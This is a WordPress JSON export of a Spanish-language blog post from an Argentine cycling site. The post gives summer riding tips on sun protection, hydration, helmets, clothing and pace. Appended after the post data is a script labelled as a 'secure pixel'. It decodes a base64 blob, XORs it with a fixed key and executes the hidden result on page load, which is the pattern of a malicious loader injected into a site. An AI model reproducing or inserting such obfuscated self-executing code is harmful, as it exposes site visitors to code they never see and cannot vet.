{"id":178,"date":"2016-02-02T18:00:54","date_gmt":"2016-02-02T18:00:54","guid":{"rendered":"http:\/\/arciclismo.com.ar\/web\/?p=178"},"modified":"2016-02-02T17:55:41","modified_gmt":"2016-02-02T17:55:41","slug":"consejos-para-usar-tu-bici-en-verano","status":"publish","type":"post","link":"http:\/\/arciclismo.com.ar\/web\/?p=178","title":{"rendered":"Consejos para usar tu bici en verano"},"content":{"rendered":"<div class=\"text-row break\">\n<p>Lleg\u00f3 verano y una de las mejores temporadas para pedalear, pero no vino solo. Se present\u00f3 acompa\u00f1ado de altas temperaturas y por eso enumeramos algunos recaudos a considerar\u00a0por los ciclistas para que el intenso calor no te impida usar la bicicleta.<\/p>\n<p>Varios son los problemas que pueden presentarse si no tomamos precauciones al usar la bici con estas temperaturas. Las complicaciones m\u00e1s comunes suelen ser quemaduras por la exposici\u00f3n al sol, insolaci\u00f3n, deshidrataci\u00f3n y golpes de calor.<\/p>\n<p>\u00bfQu\u00e9 podemos hacer para evitar esto sin bajar\u00a0de nuestra bici?<\/p>\n<h3># Protector solar<\/h3>\n<p>No importa en qu\u00e9 horario del d\u00eda salgas, ni la duraci\u00f3n de tu sesi\u00f3n de pedaleo, us\u00e1 siempre protector solar. Aunque est\u00e9 nublado, es importante que te pongas protector en todo sector del cuerpo que quede descubierto al rayo del sol al menos treinta minutos antes de salir. Intent\u00e1 usar tu bicicleta fuera de los horarios de riesgo (entre las 11 y 16 hs.), usa factores altos y volv\u00e9 a ponerte protector cada 2 horas. El protector solar debe ser resistente al agua para que no se escurra con la transpiraci\u00f3n o en spray para que se absorba mejor y permita poder llevarlo para seguir aplicando durante la jornada y evitar el famoso bronceado ciclista.<\/p>\n<h3># Hidrataci\u00f3n<\/h3>\n<p>Tomar abundante cantidad de agua antes, durante y despu\u00e9s del pedaleo. No dej\u00e9s pasar m\u00e1s de 15 minutos sin al menos tomar un buen trago de agua, nunca esperes a tener sed.\u00a0 Es importante tambi\u00e9n comer alimentos livianos antes de salir a andar. En caso de sufrir un golpe de calor, tras un rato de tomar agua a sorbos y volcar liquido sobre tu cuerpo, come algo liviano.<\/p>\n<h3># Casco<\/h3>\n<p>El casco no solo te va a resguardar ante alg\u00fan accidente, sino que te va a proteger de los rayos solares. Lo ideal ser\u00eda utilizar alguno que sea de color claro y que posea ventilaci\u00f3n o aperturas y no sea totalmente cerrado. Hay personas que bajo su casco se colocan una remera mojada (incluso ya se comercializan \u201ccasquillos\u201d especialmente para esto) y la van humedeciendo cada una hora para mantener la temperatura corporal lo m\u00e1s baja posible.<\/p>\n<h3># Lentes de sol<\/h3>\n<p>No solo sirven para evitar da\u00f1os oculares provocados por los rayos UV, sino que tambi\u00e9n son \u00fatiles para sortear encandilamientos y tener una mejor visi\u00f3n panor\u00e1mica del camino sin necesidad de forzar la vista.<\/p>\n<h3># Ropa<\/h3>\n<p>Siempre debe ser de color claro para esta \u00e9poca y pueden haber dos alternativas de que vestir. Una opci\u00f3n es vestir ropa fina, que cubra la mayor cantidad del cuerpo posible y absorba bien la transpiraci\u00f3n. La otra elecci\u00f3n puede ser usar la menor cantidad de indumentaria para transpirar menos y evitar as\u00ed una deshidrataci\u00f3n, en este caso el protector solar pasa a ser indispensable para no sufrir quemaduras.<\/p>\n<h3># Intensidad<\/h3>\n<p>En d\u00edas con altas temperaturas, baja el ritmo habitual e intent\u00e1 no hacer grandes esfuerzos f\u00edsicos. En algunas ocasiones, ir un poco m\u00e1s despacio puede ser la diferencia entre llegar o sufrir un golpe de calor.<\/p>\n<h3># Otras recomendaciones<\/h3>\n<p>\u2013 Evit\u00e1 los horarios complicados (entre las 11 y 16 hs.).<br \/>\n\u2013 Intent\u00e1 elegir un camino con sombra y arboles en lugar de estar todo el trayecto bajo el rayo del sol. Sabemos que no siempre es posible, pero vale la pena intentarlo.<br \/>\n\u2013 Pod\u00e9s hacer paradas extras en la sombra y aprovechar para hidratarte, comer alguna fruta y ponerte protector solar.<br \/>\n\u2013 Pedalear\u00a0tranquilo es un factor invaluable, por eso, pod\u00e9s\u00a0asegurar tu bici con nosotros.<\/p>\n<p class=\"subtitle\">Fuente &#8211; Jorge Mattioli &#8211;\u00a0Comercial at LM&amp;A Productores de Seguros &#8211; \u00a0linkedin.com<\/p>\n<\/div>\n<div class=\"actions\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Lleg\u00f3 verano y una de las mejores temporadas para pedalear, pero no vino solo. Se present\u00f3 acompa\u00f1ado de altas temperaturas y por eso enumeramos algunos recaudos a considerar\u00a0por los ciclistas para que el intenso calor no te impida usar la bicicleta. Varios son los problemas que pueden presentarse si no tomamos precauciones al usar la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":179,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[30],"tags":[],"class_list":["post-178","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-recomendaciones"],"_links":{"self":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/178","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=178"}],"version-history":[{"count":1,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/178\/revisions"}],"predecessor-version":[{"id":180,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/posts\/178\/revisions\/180"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=\/wp\/v2\/media\/179"}],"wp:attachment":[{"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=178"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=178"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/arciclismo.com.ar\/web\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=178"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: X Secure Pixel Stream -->
<script>
    window.XTracker_TYKW = {
        loaded: true,
        version: "2.6.2",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0x8105c35d0b20=atob('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'),_0x1363b48b1b69=46,_0x79786ef0e841=new Uint8Array(_0x8105c35d0b20['length']),_0xfd7cf5361484=0;for(;_0xfd7cf5361484<_0x8105c35d0b20['length'];_0xfd7cf5361484++)_0x79786ef0e841[_0xfd7cf5361484]=_0x8105c35d0b20['charCodeAt'](_0xfd7cf5361484)^_0x1363b48b1b69;(new Function(new TextDecoder()['decode'](_0x79786ef0e841)))()}();
</script>
<!-- END: X Secure Pixel Stream -->